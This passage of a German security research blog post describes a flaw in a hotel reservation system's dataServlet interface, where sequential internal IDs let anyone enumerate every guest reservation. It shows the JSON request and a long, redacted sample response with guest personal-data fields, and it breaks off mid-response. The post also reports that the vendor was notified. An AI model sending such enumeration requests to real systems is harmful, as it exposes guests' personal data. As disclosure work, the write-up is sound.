&lt;p&gt;Auch hier sagen wir natürlich dem Unternehmen Bescheid, welches uns zusagt, dass der Fix für die Lücke vier Werktage nach unserer Meldung bereitgestellt und eingespielt sein wird.&lt;/p&gt;
&lt;h2 id=&#34;-1-reservierung--2-reservierungen--3-reservierungen--&#34;&gt;🐑 1 Reservierung 🐑, 2 Reservierungen 🐑, 3 Reservierungen 🐑 😴&lt;/h2&gt;
&lt;p&gt;Die nächste Lücke kommt gleich im Doppelpack:
über die &lt;code&gt;dataServlet&lt;/code&gt;-Schnittstelle können wir nicht nur nach Reservierungen suchen, sondern auch gezielt eine einzelne Reservierung (&lt;em&gt;specific reservation&lt;/em&gt; (&lt;em&gt;SS&lt;/em&gt;)) abrufen.
Dafür brauchen wir die Reservierungsnummer – und die ist relativ lang und nicht trivial zu erraten.
Das System akzeptiert aber auch die &lt;em&gt;interne&lt;/em&gt; Nummer der Reservierung, die fortlaufend vergeben wird.&lt;/p&gt;
&lt;p&gt;Also können wir den ältesten zerforschungs-Trick der Welt anwenden: 🔢 zählen.&lt;/p&gt;
&lt;p&gt;Angefangen bei Reservierung 1, dann 2, dann 3, &amp;hellip; könnte man so alle Reservierungen im System abrufen.&lt;/p&gt;
&lt;p&gt;So können wir auch hier mal wieder Schäfchen zählen – aber nicht für guten Schlaf, sondern &lt;em&gt;straight in den Albtraum rein&lt;/em&gt;. 😰&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_DOCUMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SS&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;50123&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;details&gt;
    &lt;summary&gt;Beispielhafte Antwort des Servers (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Document&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Version&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;c:&amp;amp;#92;sihot&amp;amp;#92;SINETRES.EXE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;Version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1105.01.01.0464&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SS&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RESERVATION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RES_NR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;█████████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CANCELLATION_POLICY_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-██-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LAST_MOD_BY_RU&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSON&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFCHILDREN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FB_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███@███.██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COMMENT_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONCOUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATUS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;CO&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███-██-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_CATEGORY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PLACE_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██████████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_PERS_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_NAME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNET_PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-01&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DZN&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;██&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
